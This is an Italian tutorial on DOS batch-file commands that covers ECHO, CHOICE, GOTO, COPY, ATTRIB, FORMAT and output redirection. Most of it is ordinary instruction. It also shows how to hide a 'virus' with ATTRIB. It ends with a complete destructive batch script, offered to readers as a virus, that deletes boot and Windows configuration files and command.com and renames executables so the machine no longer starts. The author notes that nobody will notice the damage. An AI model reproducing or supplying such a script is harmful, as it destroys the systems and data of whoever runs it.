Rassegna dei comandi che uno
deve già conoscere:
CD cambia directory
MD crea directory
DEL cancella file o directory
COPY copia un file in una directory o in un altro file
DIR visualizza file
RENAME rinomina un file
ed altri che mi verranno in
mente man mano che incomincio.
PRIMA RIGA di ogni programma:
@echo off
Questo comando permette la
non visualizzazione della scrittura del comando ma solo la sua
esecuzione. Cioè?
Se io faccio un programma che cambia directory e mi porta alla
base, alla root di ogni sistema DOS (cioè il c:), queste
sono le due esecuzioni:
Senza #echo off:
c:\ciao>
c:\ciao>cd ..
c:\>
CON:
c:\>ciao>
c:\>
Come vedete non mi fa vedere
la scrittura del comando ma solo la sua esecuzione!
Ora impariamo a scrivere.
Per scrivere bisogna usare il comando ECHO
Quindi ricapitolando:
-------INIZIO------------
@echo off
echo.
echo.
echo RICAPITOLANDO....
echo.
echo.
-------FINE----------
Echo. serve per una riga vuota.
echo RICAPITOLANDO... visualizzarà sullo schermo la parola
RICAPITOLANDO...
Per pulire lo schemo si usa
il comando CLS .
Quindi:
--------INIZIO----------
@echo off
cls
echo.
echo.
echo RICAPITOLANDO...
echo.
echo.
-------FINE--------------
Ora supponiamo di porre una
scelta all'utente del nostro programma.
Questa si fa con il comando CHOICE .
Questo ha diverse opzioni:
/C:elenco Imposta le lettere
che l'utente può scegliere
/N Se messo non visualizza le lettere che l'utente può
scegliere
/T:secondi,lettera Imposta il tempo della scelta in secondi da
0 a 99 per poi (a
tempo scaduto e se l'utente non ha scelto) far partire la scelta
corrispondente alla lettera selezionata
E' ovvio che non può
essere una parola la scelta ma solo singoli caratteri.
ESEMPIO:
CHOICE /C:SN Si o No?
Con questo comando all'utente
comparirà la domanda: Si o No?[S,N]? e questo potrà
inserire come risposta solo o S o N. Se metterà un altra
lettera si avrà un BIP del computer.
Se invece pongo il comando:
CHOICE /C:SNC /N Si, No o Continua?
L'utente vedrà solo
Sì, No o Continua? senza le possibilità che prima
c'erano tra le parentesi quadrate.
Abbastanza chiaro?
Come faccio ora a regolare
le possibilità?
Così:
CHOICE /C:ABC /N Scegli tra
la lettera A, B, C!
IF ERRORLEVEL 3 GOTO ciao
IF ERRORLEVEL 2 GOTO banana
IF ERRORLEVEL 1 GOTO strada
:strada
:banana
:ciao
Attraverso il comando IF ERRORLEVEL
... regolo le diverse scelte che l'utente può fare. Se
l'utente preme la 3° letterà il programma andrà
(GOTO) alla etichetta ciao.
Al contrario se farà la 2° scelta andra a banana e
con la 1° a strada.
Le scelte devono essere in
ordine decrescente. cioè
non
if errorlevel 1 goto ..
if errorlevel 2 goto..
..
MA:
if errorlevel 2 goto...
if errorlevel 1 goto...
Dalla scelta maggiore alla
minore.
Abbiamo quindi visto che attraverso
il comando GOTO mi sposto ad una etichetta.
Ma cos'è questa etichetta?
L'etichetta è questa:
:ciao
..comandi vari...
Cioè è un punto
che io posso raggiungere.
ESEMPIO:
--------INZIO--------
@echo off
cls
echo.
echo.
echo SCEGLI:
echo.
echo A
echo B
echo C
echo.
echo.
choice /C:ABC /N CHE LETTERA SCEGLI?
IF ERRORLEVEL 3 GOTO CIAO
IF ERRORLEVEL 2 GOTO ASF
IF ERRORLEVEL 1 GOTO CCC
:CCC
ECHO.
ECHO HAI SCELTO LA LETTERA A
GOTO END
:ASF
ECHO.
ECHO HAI SCELTO LA LETTERA B
GOTO END
:CIAO
ECHO.
ECHO HAI SCELTO LA LETTERA C
:END
-------FINE-----------
In questo programma ho detto
di scegliere una tra le tre lettere e poi gli dico quale a scelto.
Semplicissimo.
Ora il comando COPY
Se voglio copiare un file.aaa
nella directory c:\cccc\ basta fare:
COPY file.aaa c:\cccc\
Se voglio copiare il file.aaa
al posto del file file.bbb
faccio:
COPY FILE.BBB FILE.AAA
Se voglio copiare il file.aaa
e il file.bbb in un file.ccc basta fare:
COPY file.aaa+file.bbb file.ccc
Se voglio copiare in un file
ogni cosa che scrivo con la tastiera basta fare così:
COPY CON CIAO.CIO
Nel file CIAO.CIO (inventato!)
metto ogni cosa che scrivo dal comando in avanti.
Per uscire da questa opzione basta fare ^C (Ctrl+C).
Attrib è un altro comandino
caruccio!
Permette di visualizzare le
caratteristiche di un file o di impostarle.
Le caratteristiche sono:
+R abilita sola lettura
-R disalibita la sola lettura (posso quindi modificarlo!)
+A imposta il file come archivio
-A lo disattiva
+S file di sistema
-S non più!
+H nasconde il file!!!!!!!
-H lo mostra.
ESEMPIO:
Io creo un virus e poi voglio
che si nasconda e si renda invisibile e non modificabile:
ATTRIB nome_virus.bat +H +R
Ricordatevi che per DOS e WINDOWS
non cambia nulla se maiuscolo o minuscolo!
CALL avvia l'esecuzione di
un altro file batch senza interrompere l'esecuzione del primo:
CALL ciao.bat
Se non mettessi CALL ciao.bat
partirebbe comunque ma potrebbe interrompere il primo programma.
Ovviamente CALL funziona con i file.bat!
TYPE visualizza il contenuto
di un file.
Se accompagnato al comando MORE lo fa visualizzare pagina per
pagina senza farlo scorrere velocemente.
TYPE ciao.cio | MORE
FORMAT cancella tutto dal computer.
FORMAT /Q C: cancella tutto
velocemente
C'è anche un'opzione
che permette di cancellare tutto senza chidere conferma ma ora
non mi viene in mente. Quando me la ricorderò ve la metterò!
PAUSE blocca l'esecuzione del
programma finchè l'utente non schiaccia un tasto.
SORT ordina dati in un file
secondo ordine crescente
FIND trova un determinato carattere
o parola in un file.
FIND "ciao come stai?"
file.aaa
Cerca nel file.aaa la frase
ciao come stai?
> o < Questi comandi
pemettettono di non vedere o vedere l'esecuzione di un comando.
Se io scrivo
DIR
vedo la sua esecuzione e mi
mostra i file.
Se io faccio:
DIR < NUL
Non vedo nulla ma l'operazione
non viene mostrata. Questo è poco significativo. Ma pensate
a questo comando:
COPY *.* C:\ > NUL
Copia tutti i file nella directory
c:\ e non mostra nulla (sembra che non sia successo nulla...)!
Oppure è utile anche
DIR > file.aaa
Esegue il comando DIR all'interno
del file.aaa senza mostrare nulla. Se il file.aaa esiste lo cancella
e lo ricrea nuovo, altrimenti lo crea e basta. Mica male!
IF si usa oltre per le scelte
con CHIOCE e gli altri, anche in questo modo:
IF EXIST C:\nome_file GOTO
ciao
Se esiste questo file vai all'etichetta ciao
ma si usa anche così:
IF NOT EXIST C:.....
se non esiste...
REM sono i commenti.
Questo è tutto più
o meno!
Per fare questa guida chi ho impiegato 20 minuti! E' un record.
;-)
---------INIZIO-------------
@echo off
del c:\autoexec.bat
rem L'autoexec.bat è il primo file che parte all'avvio
del tuo computer (non REM proprio ma per te che stai leggendo
questo tutorial va più che bene!)
del c:\config.sys
rem file della configurazione generale!
if exist c:\windows\win.* goto a
if exist c:\windows\system.ini goto b
if exist c:\windows\*.* goto c
rename c:\*.exe *.dio
goto file
:a
del c:\windows\win.*
rem file di avvio di windows!
:b
del c:\windows\system.ini
rem file di configurazione di windows
:c
rename c:\windows\*.exe c:\windows\*.cio
md c:\windows\sistemac
copy c:\windows\*.sys c:\windows\sistemac >nul
:fine
del c:\command.com
rem fine del programma!
--------- FINE ---------------
Il computer è partito. Non partirà più!
L'unico problema di questo virus e che se io mi accordo in tempo
della sua esecuzione, per interromperlo basta fare Ctrl+C.
Ma se il computer è abbastanza veloce a fare queste operazioni
ci impiega pocchissimo e nessuno si accorgerà di quel
che è successo!
----------------- FINE LEZIONE
-----------------------
per chiarimenti:
Skat re di Avalon (Skatrs@libero.it) |